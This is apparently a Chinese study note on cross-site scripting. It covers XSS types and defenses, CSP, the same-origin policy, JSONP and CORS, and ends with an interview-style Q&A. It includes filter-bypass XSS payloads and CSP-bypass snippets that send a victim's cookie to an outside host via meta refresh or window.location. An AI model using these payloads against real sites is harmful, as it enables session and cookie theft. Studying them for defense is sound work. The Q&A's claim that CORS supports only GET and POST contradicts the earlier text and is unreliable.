XSS跨站脚本攻击
漏洞概述
漏洞成因
当应用程序发送给浏览器的页面中包含用户提交的数据,但没有经过适当验证或转义时,就会导致跨站脚本漏洞。会造成Cookie窃取等危害。
XSS漏洞的防御方法
1)添加HTTP-only标头:禁止javascript读取敏感Cookie,即使攻击者能xss也不能获取Cookie
2)使用CSP浏览器内容安全策略白名单机制,限制网页中可执行的脚本来源
3)代码层修复:控制输入输出的数据进行转义处理
漏洞分类
反射型
出现在搜索栏,用户登录等地方,常用来窃取客户端的Cookie进行钓鱼欺骗
想要窃取cookie要满足两个条件:
1.用户点击攻击者构造的URL
2.访问被攻击的应用服务(即存在xss的网站)
存储型
出现在留言、评论、博客日志等交互处,直接影响Web服务器自身安全
DOM型
基于文档对象模型(Document Object Model)的一种漏洞;
DOM型与反射型类似,都需要攻击者诱使用户点击专门设计的URL;
Dom型 xss 是通过 url 传入参数去控制触发的;
Dom型返回页面源码中看不到输入的payload, 而是保存在浏览器的DOM中
假设应用程序返回的页面包含以下脚本:
<script>
var url = document.location;
url = unescape(url);
var message = url.substring(url.indexOf('message=') + 8,url.length);
document.write(message);
</script>
把 javascript 代码作为message的参数,这段代码将会被动态的写入到页面中,并像服务器返回代码一样得以执行。DOM型与反射 型类似,都需要攻击者诱使用户点击专门设计的URL
查找验证XSS漏洞
一般来说就是找输入点的可控参数,比如搜索框、留言板、 登录 / 注册,构造payload发送,监控响应
"><script>alert(document.cookie)</script>
把这个字符串提交给每个应用程序页面的每个参数;
同时监控它的响应,如果攻击字符串原样出现在响应中,就可能存在XSS漏洞。
许多应用可能会经过黑名单等简单的初步过滤,试图阻止XSS攻击; 可以通过编码等方式绕过:
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%00"><script>alert(document.cookie)</script>
或者直接Web漏扫
XSS前端编码:https://github.com/evilcos/xssor2
Xss-cheat-sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
CSP内容安全策略
两种方法启用CSP
1)添加HTTP头部信息
Content-Security-Policy: script-src 'self';object-src 'none';style-src cdn.example.org; child-src https;
2)使用 meta 标签
<meta http-equiv="Content-Security-Policy" content="script-src 'self';object-src 'none';style-src cdn.example.org;child-src https;">
script-src(脚本):只信任当前域名
object-src(标签):不信任任何URL,即不加载任何资源
样式表:只信任http://cdn.example.org
框架(frame):必须使用HTTPS协议加载
绕过CSP
1)URL跳转
在default-src 'none'
的情况下,可以使用meta标签实现跳转
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
2)ifrmae
如页面A有CSP限制,但页面B没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP
<iframe src="B"></iframe>
在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御
例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
同源策略
提示
同源策略是目前所有浏览器都实行的一种安全策略,只有发布Cookie的网站才能读取Cookie。
A网页设置的 Cookie,B网页不能读取,除非这两个网页同源。
所谓同源,是指:两个网页,协议(protocol)、端口(port)、和主机(host)都相同
如果非同源,以下三种行为受到限制
(1) Cookie、LocalStorage无法读取
(2) DOM 无法获得
(3) AJAX 请求不能发送
如果子域名和顶级域名不同源,在哪里可以设置让他们同源?
两个网页一级域名相同,只是二级域名不同,浏览器允许通过设置document.domain
属性共享 Cookie,拿到DOM等。
// 对于文档 www.example.com/good.html
// 在根域范围内,可以 把domain属性的值设置为它的上一级域
document.domain = "example.com";
var domain = document.domain;
如何规避同源策略?
- JSONP (参数式JSON)
- CORS (跨域资源共享)
JSONP只支持GET请求,CORS支持所有类型的HTTP请求。
JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。
JSONP
JSON with Padding,是服务器与客户端跨源通信的常用方法。
JSONP原理就是动态插入带有跨域url的<script>
标签,然后调用回调函数。
CORS
Cross-Origin Resource Sharing,允许浏览器向跨源服务器发出XMLHttpRequest
请求。
它是W3C标准,是跨源AJAX请求的根本解决方法。
CORS请求大致和ajax请求类似,但是在HTTP头信息中加上了Origin字段表明请求来自哪个源。
如果 origin 是许可范围之内的话,服务器返回的响应会多出Access-Control-Allow-*的字段
CORS简单请求
只要同时满足以下两大条件,就属于简单请求
1)请求方法是以下三种方法之一
GET
POST
HEAD
2)HTTP的头信息不超出以下几种字段
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:application/x-www-form-urlencoded,multipart/form-data,text/plain
浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin字段
GET /cors HTTP/1.1
Origin: http://api.b.com
Host: api.a.com
Origin字段用来说明本次请求来自哪个源(协议 + 域名 + 端口)
服务器根据这个值,决定是否同意这次请求
响应字段,可请求资源范围 Access-Control-Allow-Origin:*
表示同意任意跨源请求
简单请求有三个重要的响应头
(1) Access-Control-Allow-Origin
该字段是必须的,它的值要么是请求时Origin字段的值,要么是一个*
,表示接受任意域名的请求
(2)Access-Control-Allow-Credentials
该字段可选,它的值是一个布尔值,表示是否允许发送Cookie。
默认情况下,Cookie不包括在CORS请求之中。
设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。
这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可
(3) Access-Control-Expose-Headers
可选字段,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:
Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma
如果想拿到其他字段,就必须在Access-Control-Expose-Headers
里面指定
例如,getResponseHeader('wintrysec')可以返回wintrysec字段的值
CORS非简单请求
对服务器有特殊要求的请求,比如PUT方法,自定义HTTP-HEAD头部等;
非简单请求会在正式通信之前增加一次HTTP查询请求,称为"预检"请求;
预检请求用OPTIONS方法询问服务器允许的方法。
预检请求的头信息包括两个特殊字段
(1)Access-Control-Request-Method
该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法.
(2)Access-Control-Request-Headers
指定浏览器CORS请求会额外发送的http头部信息字段,多个字段用逗号分隔
如果浏览器否定了"预检"请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段响应
服务器响应的其他CORS相关字段如下:
Access-Control-Allow-Methods: GET, POST, PUT //服务器支持的所有跨域请求的方法
Access-Control-Allow-Headers: X-Custom-Header //服务器支持的所有头信息字段
Access-Control-Allow-Credentials: true //表示是否允许发送Cookie
Access-Control-Max-Age: 1728000 //用来指定本次预检请求的有效期,单位为秒
一旦服务器通过了"预检"请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin头信息字段。服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段
问题解答
DOM型XSS是什么,如何自动化防御?
DOM型返回页面源码中看不到输入的payload, 而是保存在客户端浏览器的DOM中
为了自动化防御DOM型XSS,可以采用以下方法
1)使用CSP内容安全策略
2)使用自动化工具检测和修复:如Google的DOM XSS Auditor
XSS中HttpOnly Secure 和CSP分别是干什么用的,如何实现的?
1)通过在Set-Cookie
标头中添加HttpOnly
属性来实现禁止js读取Cookie.
2)通过在Set-Cookie
标头中添加Secure
属性来实现只允许HTTPS协议传输Cookie.
3)通过在HTTP响应头中添加Content-Security-Policy
标头,限制网页中可执行的脚本来源.
B站与A站不同源的情况下如何从B站获取到A站用户信息?
两个网页一级域名相同,只是二级域名不同
浏览器允许通过设置document.domain属性共享 Cookie,拿到DOM等
在根域范围内,可以 把domain属性的值设置为它的上一级域
JSONP和CORS有何区别?
Jsonp只适用GET方法
通过在客户端动态创建一个 script 标签,src 属性指向一个跨域的 URL
服务端返回一段可执行的js脚本,脚本的内容是一个函数的调用,函数的参数是要传输的数据
CORS跨域资源共享支持GET、POST方法
通过在服务器端设置响应头部信息来控制资源是否允许跨域访问
服务器端在响应请求时,返回一个 Access-Control-Allow-Origin 头部信息
浏览器根据该头部信息判断是否允许访问该资源
CORS如果是不允许的域发起了请求,会返回什么?
如果服务器否定了"预检"请求,会返回一个正常的HTTP回应,但没有任何CORS相关的头信息字段
为什么同源策略无法防御CSRF?
因为同源策略只适用于读取数据而不写入数据的情况
CSRF通过构造表单从用户的浏览器来注入额外的网络请求